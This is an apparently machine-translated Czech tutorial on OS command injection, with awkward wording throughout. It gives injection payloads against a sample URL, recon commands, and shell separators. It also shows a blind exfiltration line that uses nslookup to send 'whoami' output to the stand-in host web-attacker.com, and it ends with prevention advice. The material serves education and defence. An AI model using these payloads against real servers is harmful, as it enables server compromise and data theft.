V této sekci, budeme vysvětlit, co OS command injection je, popsat, jak chyby mohou být zjištěny a využity, hláskovat některé užitečné příkazy a techniky pro různé operační systémy, a shrnout, jak, aby se zabránilo OS command injection.
- co je OS command injection?
- provádění libovolných příkazů
- užitečné příkazy
- Slepý OS command injection zranitelnosti
- Detekce slepé OS příkaz vstřikování pomocí časové zpoždění
- využití blind OS command injection přesměrováním výstupu
- Využití slepý OS příkaz vstřikování pomocí out-of-band (POBŘEŽNÍ) techniky
- Způsoby vstřikování OS příkazy
- Jak, aby se zabránilo OS command injection útoky
co je OS command injection?
OS příkaz injekce (také známý jako shell injekce) je webový bezpečnostní zranitelnost, která umožňuje útočníkovi spustit libovolný operační systém (OS) příkazy na server, který je spuštěna aplikace, a obvykle plně kompromis aplikaci a všechny jeho data. Velmi často, útočník může využít zranitelnost injekce příkazu OS, aby ohrozil jiné části hostingové infrastruktury, využití vztahů důvěry k otočení útoku na jiné systémy v Organizaci.
provádění libovolných příkazů
zvažte nákupní aplikaci, která umožňuje uživateli zobrazit, zda je položka na skladě v konkrétním obchodě. Tyto informace jsou přístupné prostřednictvím adresy URL jako:
https://insecure-website.com/stockStatus?productID=381&storeID=29
poskytovat informace o akciích, aplikace musí dotazu různých starších systémů. Z historických důvodů, funkčnost je implementována voláním na příkaz shellu s produktem a ukládat Doklady jako argumenty:
stockreport.pl 381 29
Tento příkaz vypíše stavu pro určené položky, která je vrácena uživateli.
Protože aplikace implementuje žádnou obranu proti OS příkaz injekce, útočník může předložit následující vstupní spustit libovolný příkaz:
& echo aiwefwlguh &
Pokud je tento vstup je předložen v productID
parametr, pak příkaz vykonán aplikace je:
stockreport.pl & echo aiwefwlguh & 29
echo
příkaz způsobí, že dodaný řetězec, který má být ozvěnou v výstup, a je užitečným způsobem, jak otestovat některé typy OS command injection. Znak &
je oddělovač příkazů shellu, takže to, co se provádí, jsou ve skutečnosti tři samostatné příkazy jeden po druhém. Jako výsledek, výstup uživateli vrácena je:
Error - productID was not provided
aiwefwlguh
29: command not found
tři řádky výstupní prokázat, že:
- původní
stockreport.pl
příkaz byl proveden bez jeho očekávané argumenty, a tak se vrátil se chybová zpráva. - byl proveden příkaz injikovaný
echo
a dodaný řetězec byl ve výstupu zopakován. - původní argument
29
byl proveden jako příkaz, který způsobil chybu.
Uvedení další příkaz oddělovač &
po injekci příkaz je obecně užitečné, protože to odděluje aplikován příkaz od toho, co sleduje místo vpichu. To snižuje pravděpodobnost, že to, co následuje, zabrání spuštění injikovaného příkazu.
užitečné příkazy
pokud jste identifikovali zranitelnost vstřikování příkazů OS, je obecně užitečné provést některé počáteční příkazy, abyste získali informace o systému, který jste ohrozili. Níže je uveden souhrn některých příkazů, které jsou užitečné na platformách Linux a Windows:
Účel příkazu | Linux | Windows |
---|---|---|
Jméno aktuálního uživatele | whoami |
whoami |
Operační systém | uname -a |
ver |
konfigurace Sítě | ifconfig |
ipconfig /all |
Síťová připojení | netstat -an |
netstat -an |
Běžící procesy, | ps -ef |
tasklist |
Slepý OS command injection zranitelnosti
Mnoho instancí vstřikování příkazů OS jsou slepé zranitelnosti. To znamená, že aplikace nevrací výstup z příkazu v rámci své HTTP odpovědi. Slepé zranitelnosti lze stále využívat, ale jsou vyžadovány různé techniky.
zvažte web, který uživatelům umožňuje odeslat zpětnou vazbu o webu. Uživatel zadá svou e-mailovou adresu a zpětnou vazbu. Aplikace na straně serveru poté vygeneruje e-mail správci webu obsahující zpětnou vazbu. Chcete-li to provést, zavolá do programu mail
s předloženými podrobnostmi. Příklad:
mail -s "This site is great" -aFrom:[email protected] [email protected]
výstup z příkazu mail
(pokud existuje) není vrácen v odpovědích aplikace, a proto by použití echo
užitečného zatížení nebylo účinné. V této situaci můžete k detekci a zneužití zranitelnosti použít řadu dalších technik.
Detekce slepé OS příkaz vstřikování pomocí časové zpoždění
můžete použít aplikován příkaz, který spustí časové zpoždění, což vám umožní potvrdit, že příkaz byl proveden na základě času, že aplikace má reagovat. ping
příkaz je účinný způsob, jak to udělat, jak to umožňuje určit počet ICMP pakety posílat, a proto čas potřebný pro příkaz ke spuštění:
& ping -c 10 127.0.0.1 &
Tento příkaz způsobí, že aplikace ping jeho loopback network adapter po dobu 10 sekund.
využití blind OS command injection přesměrováním výstupu
výstup z injektovaného příkazu můžete přesměrovat do souboru v kořenovém adresáři webu, který pak můžete načíst pomocí prohlížeče. Například, pokud aplikace slouží statické zdroje, ze filesystem location /var/www/static
, pak lze předložit následující vstupní:
& whoami > /var/www/static/whoami.txt &
>
znak odešle výstup z whoami
příkaz do zadaného souboru. Poté můžete pomocí prohlížeče načíst soubor https://vulnerable-website.com/whoami.txt
a zobrazit výstup z injektovaného příkazu.
Využití slepý OS příkaz vstřikování pomocí out-of-band (POBŘEŽNÍ) techniky
můžete použít aplikován příkaz, který spustí out-of-band sítě, interakce se systémem, který můžete ovládat pomocí POBŘEŽNÍ techniky. Například:
& nslookup kgji2ohoyw.web-attacker.com &
toto užitečné zatížení používá příkaz nslookup
k vyvolání vyhledávání DNS pro zadanou doménu. Útočník může sledovat zadané vyhledávání, a tím zjistit, že příkaz byl úspěšně vložen.
out-of-band kanál také poskytuje snadný způsob, jak vyřazení výstupu z injekčně příkazy:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
To způsobí, že vyhledávání DNS, aby útočníka domény obsahující výsledek whoami
příkaz:
wwwuser.kgji2ohoyw.web-attacker.com
Způsoby vstřikování OS příkazy
různé metaznaky shellu lze použít k provedení OS command injection útoky.
řada znaků funguje jako oddělovače příkazů, což umožňuje, aby příkazy byly spojeny. Následující oddělovače příkazů pracují na systémech Windows i Unix:
-
&
-
&&
-
|
-
||
následující příkaz separátory pracovat pouze na Unix-založené systémy:
-
;
- nový Řádek (
0x0a
nebo\n
)
Na Unix-založené systémy, můžete také použít ve zpětném apostrofu nebo dolar znak inline provedení injekčně příkaz v původní příkaz:
-
`
injekčně příkaz`
-
$(
injekčně příkaz)
Všimněte si, že různé metaznaky shellu mají trochu odlišné chování, které by mohlo mít vliv, zda pracují v určitých situacích, a zda umožňují in-band načítání výstupu příkazu nebo jsou užitečné pouze pro nevidomé vykořisťování.
někdy se vstup, který ovládáte, objeví v uvozovkách v původním příkazu. V této situaci, budete muset ukončit citoval kontextu (pomocí "
nebo '
) před použitím vhodné metaznaky shellu aplikovat nový příkaz.
Jak, aby se zabránilo OS command injection útoky
zdaleka nejúčinnější způsob, jak zabránit OS command injection zranitelnosti je nikdy volat OS příkazy z aplikační kód. Prakticky v každém případě existují alternativní způsoby implementace požadované funkce pomocí bezpečnějších API platformy.
pokud se považuje za nevyhnutelné volat příkazy OS s uživatelem dodaným vstupem, musí být provedeno silné ověření vstupu. Některé příklady účinné validace zahrnují:
- ověření proti whitelist povolených hodnot.
- ověření, že vstup je číslo.
- ověření, že vstup obsahuje pouze alfanumerické znaky, žádnou jinou syntaxi nebo mezery.
nikdy se nepokoušejte dezinfikovat vstup pomocí únikových metacharakterů shellu. V praxi je to prostě příliš náchylné k chybám a zranitelné tím, že je obchází zkušený útočník.